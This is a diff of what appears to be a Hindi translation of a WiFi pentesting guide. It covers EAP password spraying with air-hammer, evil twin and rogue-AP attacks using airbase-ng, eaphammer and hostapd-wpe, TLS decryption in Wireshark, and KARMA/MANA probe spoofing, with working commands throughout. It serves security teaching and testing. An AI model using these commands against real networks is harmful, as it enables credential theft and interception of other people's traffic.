रूप में संदर्भित, यह संवेदनशील MSCHAPv2 चुनौती/प्रतिक्रिया तंत्र को एक सुरक्षात्मक TLS टनल के साथ जोड़ता है। - **PEAP-EAP-TLS (या PEAP-TLS)**: EAP-TLS के समान है लेकिन प्रमाणपत्रों का आदान-प्रदान करने से पहले एक TLS टनल शुरू करता है, जो सुरक्षा की एक अतिरिक्त परत प्रदान करता है। आप इन प्रमाणीकरण विधियों के बारे में अधिक जानकारी [यहां](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) और [यहां](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html) प्राप्त कर सकते हैं। @@ -385,17 +386,17 @@ In **एंटरप्राइज WiFi सेटअप में, आप व - इस स्थिति में, विभिन्न क्षेत्रों के उपयोगकर्ता अपनी पहचान छिपाते हैं जबकि अपने संबंधित क्षेत्रों को इंगित करते हैं। यह प्रारंभिक RADIUS सर्वर को EAP-PEAP या EAP-TTLS अनुरोधों को उनके होम क्षेत्रों में RADIUS सर्वरों को प्रॉक्सी करने की अनुमति देता है, जो PEAP या TTLS सर्वर के रूप में कार्य करते हैं। प्रारंभिक RADIUS सर्वर केवल एक RADIUS रिले नोड के रूप में कार्य करता है। - वैकल्पिक रूप से, प्रारंभिक RADIUS सर्वर EAP-PEAP या EAP-TTLS सर्वर के रूप में कार्य कर सकता है और या तो सुरक्षित प्रमाणीकरण विधि को संभाल सकता है या इसे किसी अन्य सर्वर को अग्रेषित कर सकता है। यह विकल्प विभिन्न क्षेत्रों के लिए विशिष्ट नीतियों को कॉन्फ़िगर करने की सुविधा प्रदान करता है। -EAP-PEAP में, एक बार जब PEAP सर्वर और PEAP क्लाइंट के बीच TLS टनल स्थापित हो जाता है, तो PEAP सर्वर एक EAP-Identity अनुरोध शुरू करता है और इसे TLS टनल के माध्यम से भेजता है। क्लाइंट इस दूसरे EAP-Identity अनुरोध का उत्तर EAP-Identity प्रतिक्रिया भेजकर देता है, जिसमें उपयोगकर्ता की वास्तविक पहचान एन्क्रिप्टेड टनल के माध्यम से होती है। यह दृष्टिकोण 802.11 ट्रैफ़िक पर किसी भी व्यक्ति को उपयोगकर्ता की वास्तविक पहचान प्रकट करने से प्रभावी रूप से रोकता है। +EAP-PEAP में, एक बार जब PEAP सर्वर और PEAP क्लाइंट के बीच TLS टनल स्थापित हो जाती है, तो PEAP सर्वर एक EAP-Identity अनुरोध शुरू करता है और इसे TLS टनल के माध्यम से भेजता है। क्लाइंट इस दूसरे EAP-Identity अनुरोध का उत्तर EAP-Identity प्रतिक्रिया भेजकर देता है, जिसमें उपयोगकर्ता की वास्तविक पहचान एन्क्रिप्टेड टनल के माध्यम से होती है। यह दृष्टिकोण 802.11 ट्रैफ़िक पर किसी भी ईव्सड्रॉपिंग करने वाले को उपयोगकर्ता की वास्तविक पहचान प्रकट करने से प्रभावी रूप से रोकता है। EAP-TTLS एक थोड़ी अलग प्रक्रिया का पालन करता है। EAP-TTLS के साथ, क्लाइंट आमतौर पर PAP या CHAP का उपयोग करके प्रमाणीकरण करता है, जो TLS टनल द्वारा सुरक्षित होता है। इस मामले में, क्लाइंट प्रारंभिक TLS संदेश में एक User-Name विशेषता और या तो एक Password या CHAP-Password विशेषता शामिल करता है जो टनल स्थापना के बाद भेजा जाता है। -चाहे कोई भी प्रोटोकॉल चुना जाए, PEAP/TTLS सर्वर TLS टनल स्थापित होने के बाद उपयोगकर्ता की वास्तविक पहचान के बारे में जानकारी प्राप्त करता है। वास्तविक पहचान को user@realm या बस user के रूप में दर्शाया जा सकता है। यदि PEAP/TTLS सर्वर उपयोगकर्ता को प्रमाणीकरण करने के लिए भी जिम्मेदार है, तो अब यह उपयोगकर्ता की पहचान रखता है और TLS टनल द्वारा सुरक्षित प्रमाणीकरण विधि के साथ आगे बढ़ता है। वैकल्पिक रूप से, PEAP/TTLS सर्वर उपयोगकर्ता के होम RADIUS सर्वर को एक नया RADIUS अनुरोध अग्रेषित कर सकता है। यह नया RADIUS अनुरोध PEAP या TTLS प्रोटोकॉल परत को छोड़ देता है। उन मामलों में जहां सुरक्षित प्रमाणीकरण विधि EAP है, आंतरिक EAP संदेशों को होम RADIUS सर्वर पर EAP-PEAP या EAP-TTLS आवरण के बिना भेजा जाता है। आउटगोइंग RADIUS संदेश की User-Name विशेषता उपयोगकर्ता की वास्तविक पहचान को शामिल करती है, जो आने वाले RADIUS अनुरोध से गुमनाम User-Name को प्रतिस्थापित करती है। जब सुरक्षित प्रमाणीकरण विधि PAP या CHAP (जो केवल TTLS द्वारा समर्थित है) होती है, तो TLS पेलोड से निकाली गई User-Name और अन्य प्रमाणीकरण विशेषताएँ आउटगोइंग RADIUS संदेश में प्रतिस्थापित की जाती हैं, जो आने वाले RADIUS अनुरोध में पाए गए गुमनाम User-Name और TTLS EAP-Message विशेषताओं को विस्थापित करती हैं। +चाहे कोई भी प्रोटोकॉल चुना जाए, PEAP/TTLS सर्वर TLS टनल स्थापित होने के बाद उपयोगकर्ता की वास्तविक पहचान के बारे में जानकारी प्राप्त करता है। वास्तविक पहचान को user@realm या केवल user के रूप में दर्शाया जा सकता है। यदि PEAP/TTLS सर्वर उपयोगकर्ता को प्रमाणीकरण करने के लिए भी जिम्मेदार है, तो अब यह उपयोगकर्ता की पहचान रखता है और TLS टनल द्वारा सुरक्षित प्रमाणीकरण विधि के साथ आगे बढ़ता है। वैकल्पिक रूप से, PEAP/TTLS सर्वर उपयोगकर्ता के होम RADIUS सर्वर को एक नया RADIUS अनुरोध अग्रेषित कर सकता है। यह नया RADIUS अनुरोध PEAP या TTLS प्रोटोकॉल परत को छोड़ देता है। उन मामलों में जहां सुरक्षित प्रमाणीकरण विधि EAP है, आंतरिक EAP संदेशों को होम RADIUS सर्वर पर EAP-PEAP या EAP-TTLS आवरण के बिना भेजा जाता है। आउटगोइंग RADIUS संदेश की User-Name विशेषता उपयोगकर्ता की वास्तविक पहचान को शामिल करती है, जो आने वाले RADIUS अनुरोध से अनाम User-Name को प्रतिस्थापित करती है। जब सुरक्षित प्रमाणीकरण विधि PAP या CHAP (केवल TTLS द्वारा समर्थित) होती है, तो आउटगोइंग RADIUS संदेश में TLS पेलोड से निकाली गई User-Name और अन्य प्रमाणीकरण विशेषताओं को अनाम User-Name और आने वाले RADIUS अनुरोध में पाए गए TTLS EAP-Message विशेषताओं को प्रतिस्थापित किया जाता है। अधिक जानकारी के लिए देखें [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm) ### EAP-Bruteforce (password spray) -यदि क्लाइंट से **username और password** का उपयोग करने की अपेक्षा की जाती है (ध्यान दें कि इस मामले में **EAP-TLS मान्य नहीं होगा**), तो आप **usernames** (अगले भाग को देखें) और **passwords** की एक **सूची** प्राप्त करने की कोशिश कर सकते हैं और **bruteforce** का उपयोग करके एक्सेस करने का प्रयास कर सकते हैं [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.** +यदि क्लाइंट से **username और password** का उपयोग करने की अपेक्षा की जाती है (ध्यान दें कि इस मामले में **EAP-TLS मान्य नहीं होगा**), तो आप **usernames** (अगले भाग को देखें) और **passwords** की एक **सूची** प्राप्त करने का प्रयास कर सकते हैं और **bruteforce** का उपयोग करके एक्सेस करने का प्रयास कर सकते हैं [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.** ```bash ./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt ``` @@ -407,34 +408,34 @@ EAP-TTLS एक थोड़ी अलग प्रक्रिया का प --password bananas \ --user-list users.txt ``` -## Client attacks Theory +## क्लाइंट हमलों का सिद्धांत -### Network Selection and Roaming +### नेटवर्क चयन और रोमिंग -- 802.11 प्रोटोकॉल यह परिभाषित करता है कि एक स्टेशन Extended Service Set (ESS) में कैसे शामिल होता है, लेकिन यह ESS या इसके भीतर किसी access point (AP) को चुनने के लिए मानदंड निर्दिष्ट नहीं करता है। -- स्टेशन एक ही ESSID साझा करने वाले APs के बीच घूम सकते हैं, जिससे एक भवन या क्षेत्र में कनेक्टिविटी बनाए रखी जा सके। +- 802.11 प्रोटोकॉल यह परिभाषित करता है कि एक स्टेशन एक विस्तारित सेवा सेट (ESS) में कैसे शामिल होता है, लेकिन यह ESS या इसके भीतर एक एक्सेस पॉइंट (AP) का चयन करने के लिए मानदंड निर्दिष्ट नहीं करता है। +- स्टेशन एक ही ESSID साझा करने वाले APs के बीच रोमिंग कर सकते हैं, जिससे एक भवन या क्षेत्र में कनेक्टिविटी बनाए रखी जा सके। - प्रोटोकॉल ESS के लिए स्टेशन प्रमाणीकरण की आवश्यकता करता है लेकिन स्टेशन के लिए AP प्रमाणीकरण अनिवार्य नहीं करता है। -### Preferred Network Lists (PNLs) +### पसंदीदा नेटवर्क सूचियाँ (PNLs) -- स्टेशन अपने Preferred Network List (PNL) में हर वायरलेस नेटवर्क का ESSID संग्रहीत करते हैं, जिसमें नेटवर्क-विशिष्ट कॉन्फ़िगरेशन विवरण भी शामिल होते हैं। -- PNL का उपयोग ज्ञात नेटवर्क से स्वचालित रूप से कनेक्ट करने के लिए किया जाता है, जिससे उपयोगकर्ता के अनुभव में सुधार होता है और कनेक्शन प्रक्रिया को सरल बनाया जाता है। +- स्टेशन अपने पसंदीदा नेटवर्क सूची (PNL) में हर वायरलेस नेटवर्क के ESSID को संग्रहीत करते हैं, जिसमें नेटवर्क-विशिष्ट कॉन्फ़िगरेशन विवरण भी शामिल होते हैं। +- PNL का उपयोग ज्ञात नेटवर्क से स्वचालित रूप से कनेक्ट करने के लिए किया जाता है, जिससे कनेक्शन प्रक्रिया को सरल बनाकर उपयोगकर्ता के अनुभव में सुधार होता है। -### Passive Scanning +### पैसिव स्कैनिंग - APs समय-समय पर बीकन फ़्रेम प्रसारित करते हैं, अपनी उपस्थिति और विशेषताओं की घोषणा करते हैं, जिसमें AP का ESSID शामिल होता है जब तक कि प्रसारण बंद न किया गया हो। - पैसिव स्कैनिंग के दौरान, स्टेशन बीकन फ़्रेम के लिए सुनते हैं। यदि किसी बीकन का ESSID स्टेशन के PNL में किसी प्रविष्टि से मेल खाता है, तो स्टेशन स्वचालित रूप से उस AP से कनेक्ट हो सकता है। -- किसी डिवाइस के PNL का ज्ञान संभावित शोषण की अनुमति देता है, एक ज्ञात नेटवर्क के ESSID की नकल करके, डिवाइस को एक धोखाधड़ी AP से कनेक्ट करने के लिए धोखा देना। +- एक डिवाइस के PNL का ज्ञान संभावित शोषण की अनुमति देता है, एक ज्ञात नेटवर्क के ESSID की नकल करके, डिवाइस को एक धोखाधड़ी AP से कनेक्ट करने के लिए धोखा देना। -### Active Probing +### सक्रिय प्रॉबिंग - सक्रिय प्रॉबिंग में स्टेशन पास के APs और उनकी विशेषताओं का पता लगाने के लिए प्रॉब अनुरोध भेजते हैं। - निर्देशित प्रॉब अनुरोध एक विशिष्ट ESSID को लक्षित करते हैं, यह पता लगाने में मदद करते हैं कि क्या कोई विशेष नेटवर्क रेंज में है, भले ही यह एक छिपा हुआ नेटवर्क हो। - प्रसारण प्रॉब अनुरोध में एक शून्य SSID फ़ील्ड होती है और इन्हें सभी नजदीकी APs को भेजा जाता है, जिससे स्टेशन बिना अपने PNL की सामग्री का खुलासा किए किसी भी पसंदीदा नेटवर्क की जांच कर सके। -## Simple AP with redirection to Internet +## इंटरनेट के लिए पुनर्निर्देशन के साथ सरल AP -जटिल हमलों को करने के तरीके को समझाने से पहले यह समझाया जाएगा **कैसे** केवल **एक** **AP** **बनाएं** और **इसके** **ट्रैफ़िक** को **इंटरनेट** से जुड़े **इंटरफेस** पर **रीडायरेक्ट** करें। +जटिल हमलों को करने के तरीके को समझाने से पहले यह समझाया जाएगा **कैसे** केवल **एक** **AP** **बनाएं** और **इसके** **ट्रैफ़िक** को **इंटरनेट** से जुड़े **इंटरफेस** पर **पुनर्निर्देशित** करें। `ifconfig -a` का उपयोग करके जांचें कि AP बनाने के लिए wlan इंटरफेस और इंटरनेट से जुड़े इंटरफेस मौजूद हैं। @@ -500,13 +501,13 @@ echo 1 > /proc/sys/net/ipv4/ip_forward ``` ## Evil Twin -एक ईविल ट्विन अटैक WiFi क्लाइंट्स द्वारा नेटवर्क को पहचानने के तरीके का लाभ उठाता है, जो मुख्य रूप से नेटवर्क नाम (ESSID) पर निर्भर करता है बिना बेस स्टेशन (एक्सेस पॉइंट) को क्लाइंट के लिए प्रमाणित किए। मुख्य बिंदुओं में शामिल हैं: +एक ईविल ट्विन अटैक वाईफाई क्लाइंट्स द्वारा नेटवर्क को पहचानने के तरीके का लाभ उठाता है, जो मुख्य रूप से नेटवर्क नाम (ESSID) पर निर्भर करता है बिना बेस स्टेशन (एक्सेस पॉइंट) को क्लाइंट के लिए प्रमाणित किए। मुख्य बिंदुओं में शामिल हैं: - **भेदभाव में कठिनाई**: उपकरणों के लिए वैध और धोखाधड़ी एक्सेस पॉइंट्स के बीच अंतर करना मुश्किल होता है जब वे समान ESSID और एन्क्रिप्शन प्रकार साझा करते हैं। वास्तविक दुनिया के नेटवर्क अक्सर कवरेज को निर्बाध रूप से बढ़ाने के लिए समान ESSID के साथ कई एक्सेस पॉइंट्स का उपयोग करते हैं। -- **क्लाइंट रोमिंग और कनेक्शन हेरफेर**: 802.11 प्रोटोकॉल उपकरणों को एक ही ESS के भीतर एक्सेस पॉइंट्स के बीच रोमिंग करने की अनुमति देता है। हमलावर इसका लाभ उठाकर एक उपकरण को उसके वर्तमान बेस स्टेशन से डिस्कनेक्ट करने और एक धोखाधड़ी वाले से कनेक्ट करने के लिए लुभा सकते हैं। यह एक मजबूत सिग्नल प्रदान करके या वैध एक्सेस पॉइंट के साथ कनेक्शन को बाधित करके जैसे कि डिअथेंटिकेशन पैकेट्स या जैमिंग के माध्यम से किया जा सकता है। -- **निष्पादन में चुनौतियाँ**: कई, अच्छी तरह से रखे गए एक्सेस पॉइंट्स वाले वातावरण में ईविल ट्विन अटैक को सफलतापूर्वक निष्पादित करना चुनौतीपूर्ण हो सकता है। एकल वैध एक्सेस पॉइंट को डिअथेंटिकेट करने से अक्सर उपकरण को एक अन्य वैध एक्सेस पॉइंट से कनेक्ट करने का परिणाम होता है जब तक कि हमलावर सभी निकटवर्ती एक्सेस पॉइंट्स को डिअथेंटिकेट नहीं कर सकता या धोखाधड़ी एक्सेस पॉइंट को रणनीतिक रूप से नहीं रख सकता। +- **क्लाइंट रोमिंग और कनेक्शन हेरफेर**: 802.11 प्रोटोकॉल उपकरणों को एक ही ESS के भीतर एक्सेस पॉइंट्स के बीच रोमिंग करने की अनुमति देता है। हमलावर इस बात का लाभ उठा सकते हैं कि वे एक उपकरण को उसके वर्तमान बेस स्टेशन से डिस्कनेक्ट करने और एक धोखाधड़ी वाले से कनेक्ट करने के लिए लुभा सकते हैं। यह एक मजबूत सिग्नल प्रदान करके या वैध एक्सेस पॉइंट के साथ कनेक्शन को बाधित करके जैसे कि डिअथेंटिकेशन पैकेट्स या जैमिंग के माध्यम से किया जा सकता है। +- **निष्पादन में चुनौतियाँ**: कई, अच्छी तरह से रखे गए एक्सेस पॉइंट्स वाले वातावरण में ईविल ट्विन अटैक को सफलतापूर्वक निष्पादित करना चुनौतीपूर्ण हो सकता है। एकल वैध एक्सेस पॉइंट को डिअथेंटिकेट करने से अक्सर उपकरण को दूसरे वैध एक्सेस पॉइंट से कनेक्ट करने का परिणाम होता है जब तक कि हमलावर सभी निकटवर्ती एक्सेस पॉइंट्स को डिअथेंटिकेट नहीं कर सकता या धोखाधड़ी वाले एक्सेस पॉइंट को रणनीतिक रूप से नहीं रख सकता। -आप एक बहुत बुनियादी ओपन ईविल ट्विन (इंटरनेट पर ट्रैफिक रूट करने की क्षमताओं के बिना) बना सकते हैं: +आप एक बहुत बुनियादी ओपन ईविल ट्विन (इंटरनेट पर ट्रैफ़िक रूट करने की क्षमताओं के बिना) बना सकते हैं: ```bash airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon ``` @@ -518,13 +519,13 @@ airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon ![](<../../images/image (1088).png>) -कृपया ध्यान दें कि डिफ़ॉल्ट रूप से यदि PNL में एक ESSID WPA सुरक्षित के रूप में सहेजा गया है, तो डिवाइस स्वचालित रूप से एक ओपन ईविल ट्विन से कनेक्ट नहीं होगा। आप असली AP को DoS करने की कोशिश कर सकते हैं और आशा कर सकते हैं कि उपयोगकर्ता मैन्युअल रूप से आपके ओपन ईविल ट्विन से कनेक्ट करेगा, या आप असली AP को DoS कर सकते हैं और हैंडशेक कैप्चर करने के लिए WPA ईविल ट्विन का उपयोग कर सकते हैं (इस विधि का उपयोग करते समय आप पीएसके नहीं जानते हैं, इसलिए आप पीड़ित को अपने साथ कनेक्ट नहीं करवा सकते, लेकिन आप हैंडशेक कैप्चर कर सकते हैं और इसे क्रैक करने की कोशिश कर सकते हैं)। +कृपया ध्यान दें कि डिफ़ॉल्ट रूप से यदि PNL में ESSID WPA सुरक्षित के रूप में सहेजा गया है, तो डिवाइस स्वचालित रूप से एक ओपन ईविल ट्विन से कनेक्ट नहीं होगा। आप असली AP को DoS करने की कोशिश कर सकते हैं और आशा कर सकते हैं कि उपयोगकर्ता मैन्युअल रूप से आपके ओपन ईविल ट्विन से कनेक्ट करेगा, या आप असली AP को DoS कर सकते हैं और WPA ईविल ट्विन का उपयोग करके हैंडशेक कैप्चर कर सकते हैं (इस विधि का उपयोग करते समय आप पीएसके नहीं जानते हैं, इसलिए आप पीड़ित को अपने साथ कनेक्ट नहीं करवा सकते, लेकिन आप हैंडशेक कैप्चर कर सकते हैं और इसे क्रैक करने की कोशिश कर सकते हैं)। _कुछ OS और AV उपयोगकर्ता को चेतावनी देंगे कि ओपन नेटवर्क से कनेक्ट करना खतरनाक है..._ -### WPA/WPA2 ईविल ट्विन +### WPA/WPA2 Evil Twin -आप **WPA/2 का उपयोग करके एक ईविल ट्विन** बना सकते हैं और यदि डिवाइस उस SSID से WPA/2 के साथ कनेक्ट करने के लिए कॉन्फ़िगर किए गए हैं, तो वे कनेक्ट करने की कोशिश करेंगे। किसी भी तरह, **4-वे-हैंडशेक को पूरा करने के लिए** आपको **जानना** होगा कि **क्लाइंट** किस **पासवर्ड** का उपयोग करने वाला है। यदि आप **नहीं जानते** हैं, तो **कनेक्शन पूरा नहीं होगा**। +आप **WPA/2** का उपयोग करके एक **Evil Twin** बना सकते हैं और यदि डिवाइस उस SSID से WPA/2 के साथ कनेक्ट करने के लिए कॉन्फ़िगर किए गए हैं, तो वे कनेक्ट करने की कोशिश करेंगे। किसी भी तरह, **4-way-handshake** को पूरा करने के लिए आपको **जानना** होगा कि क्लाइंट **कौन सा पासवर्ड** उपयोग करने वाला है। यदि आप **नहीं जानते** हैं, तो **कनेक्शन पूरा नहीं होगा**। ```bash ./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword" ``` @@ -551,7 +552,7 @@ hostapd-wpe ./victim/victim.conf -s # Launch Attack ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds ``` -डिफ़ॉल्ट रूप से, EAPHammer इन प्रमाणीकरण विधियों का उद्देश्य रखता है (ध्यान दें कि GTC पहले प्रयास के रूप में स्पष्ट पासवर्ड प्राप्त करने के लिए है और फिर अधिक मजबूत प्रमाणीकरण विधियों का उपयोग किया जाता है): +डिफ़ॉल्ट रूप से, EAPHammer इन प्रमाणीकरण विधियों का उद्देश्य रखता है (ध्यान दें कि GTC को पहले प्रयास के रूप में स्पष्ट पासवर्ड प्राप्त करने के लिए और फिर अधिक मजबूत प्रमाणीकरण विधियों के उपयोग के लिए): ``` GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 ``` @@ -576,14 +577,14 @@ GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 _यह विधि PEAP कनेक्शन में परीक्षण की गई थी लेकिन चूंकि मैं एक मनमाने TLS टनल को डिक्रिप्ट कर रहा हूँ, यह EAP-TTLS के साथ भी काम करना चाहिए_ -**hostapd-wpe** की **कॉन्फ़िगरेशन** के अंदर _**dh_file**_ वाली पंक्ति को **comment** करें (from `dh_file=/etc/hostapd-wpe/certs/dh` to `#dh_file=/etc/hostapd-wpe/certs/dh`)\ -यह `hostapd-wpe` को **RSA का उपयोग करके कुंजी का आदान-प्रदान** करने के लिए बनाएगा, ताकि आप बाद में **ट्रैफ़िक को डिक्रिप्ट** कर सकें **सर्वर की निजी कुंजी को जानकर**। +**hostapd-wpe** की **कॉन्फ़िगरेशन** के अंदर _**dh_file**_ वाली पंक्ति को **टिप्पणी** करें ( `dh_file=/etc/hostapd-wpe/certs/dh` से `#dh_file=/etc/hostapd-wpe/certs/dh` तक)\ +यह `hostapd-wpe` को **RSA का उपयोग करके कुंजी का आदान-प्रदान** करने के लिए बनाएगा, ताकि आप बाद में **सर्वर की निजी कुंजी** जानकर ट्रैफ़िक को **डिक्रिप्ट** कर सकें। -अब **Evil Twin** को **`hostapd-wpe`** का उपयोग करके उस संशोधित कॉन्फ़िगरेशन के साथ सामान्य रूप से शुरू करें। इसके अलावा, **`wireshark`** को उस **इंटरफेस** में शुरू करें जो Evil Twin हमले को अंजाम दे रहा है। +अब सामान्य रूप से उस संशोधित कॉन्फ़िगरेशन के साथ **`hostapd-wpe`** का **Evil Twin** शुरू करें। इसके अलावा, **Evil Twin हमले** को करने वाले **इंटरफेस** में **`wireshark`** शुरू करें। -अब या बाद में (जब आपने पहले से कुछ प्रमाणीकरण इरादे कैप्चर कर लिए हैं) आप wireshark में निजी RSA कुंजी जोड़ सकते हैं: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` +अब या बाद में (जब आपने पहले से कुछ प्रमाणीकरण इरादे कैप्चर कर लिए हैं) आप `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` में wireshark में निजी RSA कुंजी जोड़ सकते हैं। -एक नया प्रविष्टि जोड़ें और इस मानों के साथ फॉर्म भरें: **IP address = any** -- **Port = 0** -- **Protocol = data** -- **Key File** (**अपनी कुंजी फ़ाइल का चयन करें**, समस्याओं से बचने के लिए एक कुंजी फ़ाइल **बिना पासवर्ड सुरक्षित** के चुनें)। +एक नया प्रविष्टि जोड़ें और इस मानों के साथ फ़ॉर्म भरें: **IP address = any** -- **Port = 0** -- **Protocol = data** -- **Key File** (**अपनी कुंजी फ़ाइल चुनें**, समस्याओं से बचने के लिए एक कुंजी फ़ाइल **बिना पासवर्ड सुरक्षा के चुनें**)। ![](<../../images/image (687).png>) @@ -597,14 +598,14 @@ _यह विधि PEAP कनेक्शन में परीक्षण मीडिया एक्सेस कंट्रोल फ़िल्टर सूचियों (MFACLs) के विभिन्न प्रकार और एक धोखाधड़ी एक्सेस पॉइंट (AP) के व्यवहार पर उनके संबंधित मोड और प्रभाव: -1. **MAC-आधारित व्हाइटलिस्ट**: -- धोखाधड़ी AP केवल व्हाइटलिस्ट में निर्दिष्ट उपकरणों से प्रॉब अनुरोधों का उत्तर देगा, अन्य सभी के लिए अदृश्य रहेगा। -2. **MAC-आधारित ब्लैकलिस्ट**: -- धोखाधड़ी AP ब्लैकलिस्ट में उपकरणों से प्रॉब अनुरोधों की अनदेखी करेगा, प्रभावी रूप से उन विशिष्ट उपकरणों के लिए धोखाधड़ी AP को अदृश्य बना देगा। -3. **SSID-आधारित व्हाइटलिस्ट**: -- धोखाधड़ी AP केवल विशिष्ट ESSIDs के लिए प्रॉब अनुरोधों का उत्तर देगा, जिससे यह उन उपकरणों के लिए अदृश्य हो जाएगा जिनकी पसंदीदा नेटवर्क सूचियों (PNLs) में वे ESSIDs नहीं हैं। -4. **SSID-आधारित ब्लैकलिस्ट**: -- धोखाधड़ी AP ब्लैकलिस्ट में विशिष्ट ESSIDs के लिए प्रॉब अनुरोधों का उत्तर नहीं देगा, जिससे यह उन उपकरणों के लिए अदृश्य हो जाएगा जो उन विशेष नेटवर्कों की तलाश कर रहे हैं। +1. **MAC-आधारित सफेद सूची**: +- धोखाधड़ी AP केवल सफेद सूची में निर्दिष्ट उपकरणों से प्रॉब अनुरोधों का उत्तर देगा, अन्य सभी के लिए अदृश्य रहेगा। +2. **MAC-आधारित काली सूची**: +- धोखाधड़ी AP काली सूची में उपकरणों से प्रॉब अनुरोधों की अनदेखी करेगा, प्रभावी रूप से उन विशिष्ट उपकरणों के लिए धोखाधड़ी AP को अदृश्य बना देगा। +3. **SSID-आधारित सफेद सूची**: +- धोखाधड़ी AP केवल निर्दिष्ट ESSIDs के लिए प्रॉब अनुरोधों का उत्तर देगा, जिससे यह उन उपकरणों के लिए अदृश्य हो जाएगा जिनकी पसंदीदा नेटवर्क सूचियों (PNLs) में वे ESSIDs नहीं हैं। +4. **SSID-आधारित काली सूची**: +- धोखाधड़ी AP काली सूची में विशिष्ट ESSIDs के लिए प्रॉब अनुरोधों का उत्तर नहीं देगा, जिससे यह उन उपकरणों के लिए अदृश्य हो जाएगा जो उन विशेष नेटवर्कों की तलाश कर रहे हैं। ```bash # example EAPHammer MFACL file, wildcards can be used 09:6a:06:c8:36:af @@ -626,13 +627,13 @@ name3 ``` ### KARMA -यह विधि एक **हमलावर को एक दुर्भावनापूर्ण एक्सेस पॉइंट (AP) बनाने की अनुमति देती है जो नेटवर्क से कनेक्ट करने की कोशिश कर रहे उपकरणों से सभी प्रॉब अनुरोधों का उत्तर देती है**। यह तकनीक **उपकरणों को हमलावर के AP से कनेक्ट करने के लिए धोखा देती है** जो उपकरणों द्वारा खोजे जा रहे नेटवर्क की नकल करती है। एक बार जब एक उपकरण इस धोखेबाज़ AP को कनेक्शन अनुरोध भेजता है, तो यह कनेक्शन पूरा करता है, जिससे उपकरण गलती से हमलावर के नेटवर्क से कनेक्ट हो जाता है। +यह विधि **हमलावर को एक दुर्भावनापूर्ण एक्सेस पॉइंट (AP) बनाने की अनुमति देती है जो नेटवर्क से कनेक्ट करने की कोशिश कर रहे उपकरणों से सभी प्रॉब अनुरोधों का उत्तर देती है**। यह तकनीक **उपकरणों को हमलावर के AP से कनेक्ट करने के लिए धोखा देती है** जो उपकरणों द्वारा खोजे जा रहे नेटवर्क की नकल करती है। जब एक उपकरण इस धोखेबाज़ AP को कनेक्शन अनुरोध भेजता है, तो यह कनेक्शन पूरा करता है, जिससे उपकरण गलती से हमलावर के नेटवर्क से कनेक्ट हो जाता है। ### MANA -फिर, **उपकरणों ने असंगत नेटवर्क प्रतिक्रियाओं की अनदेखी करना शुरू कर दिया**, जिससे मूल कर्मा हमले की प्रभावशीलता कम हो गई। हालाँकि, एक नई विधि, जिसे **MANA हमले** के रूप में जाना जाता है, को इयान डी विलियर्स और डोमिनिक व्हाइट द्वारा पेश किया गया। यह विधि धोखेबाज़ AP **उपकरणों से प्रेफर्ड नेटवर्क सूचियों (PNL) को उनके प्रसारित प्रॉब अनुरोधों का उत्तर देकर कैप्चर करती है** जिसमें पहले से उपकरणों द्वारा ठोस नेटवर्क नाम (SSIDs) होते हैं। यह जटिल हमला मूल कर्मा हमले के खिलाफ सुरक्षा को बायपास करता है, उपकरणों द्वारा ज्ञात नेटवर्क को याद रखने और प्राथमिकता देने के तरीके का लाभ उठाकर। +फिर, **उपकरणों ने असंगत नेटवर्क प्रतिक्रियाओं की अनदेखी करना शुरू कर दिया**, जिससे मूल कर्मा हमले की प्रभावशीलता कम हो गई। हालाँकि, **MANA हमले** के रूप में जानी जाने वाली एक नई विधि को इयान डी विलियर्स और डोमिनिक व्हाइट द्वारा पेश किया गया। यह विधि धोखेबाज़ AP **उपकरणों से प्रेफर्ड नेटवर्क सूचियों (PNL) को उनके प्रसारण प्रॉब अनुरोधों का उत्तर देकर कैप्चर करती है** जिसमें उपकरणों द्वारा पहले से ज्ञात नेटवर्क नाम (SSIDs) होते हैं। यह जटिल हमला मूल कर्मा हमले के खिलाफ सुरक्षा को बायपास करता है, उपकरणों द्वारा ज्ञात नेटवर्क को याद रखने और प्राथमिकता देने के तरीके का लाभ उठाकर। -MANA हमला उपकरणों से निर्देशित और प्रसारित प्रॉब अनुरोधों की निगरानी करके काम करता है। निर्देशित अनुरोधों के लिए, यह उपकरण के MAC पते और अनुरोधित नेटवर्क नाम को रिकॉर्ड करता है, इस जानकारी को एक सूची में जोड़ता है। जब एक प्रसारित अनुरोध प्राप्त होता है, तो AP उस सूची में किसी भी नेटवर्क से मेल खाने वाली जानकारी के साथ उत्तर देता है, जिससे उपकरण को धोखेबाज़ AP से कनेक्ट करने के लिए आकर्षित किया जाता है। +MANA हमला उपकरणों से निर्देशित और प्रसारण प्रॉब अनुरोधों दोनों की निगरानी करके काम करता है। निर्देशित अनुरोधों के लिए, यह उपकरण के MAC पते और अनुरोधित नेटवर्क नाम को रिकॉर्ड करता है, इस जानकारी को एक सूची में जोड़ता है। जब एक प्रसारण अनुरोध प्राप्त होता है, तो AP उपकरण की सूची में किसी भी नेटवर्क से मेल खाने वाली जानकारी के साथ उत्तर देता है, जिससे उपकरण को धोखेबाज़ AP से कनेक्ट करने के लिए आकर्षित किया जाता है। ```bash ./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds] ``` @@ -644,9 +645,9 @@ A **Loud MANA attack** एक उन्नत रणनीति है जब ``` ### Known Beacon attack -जब **Loud MANA attack** पर्याप्त नहीं हो सकता, **Known Beacon attack** एक और दृष्टिकोण प्रस्तुत करता है। यह विधि **किसी भी नेटवर्क नाम का उत्तर देने वाले AP का 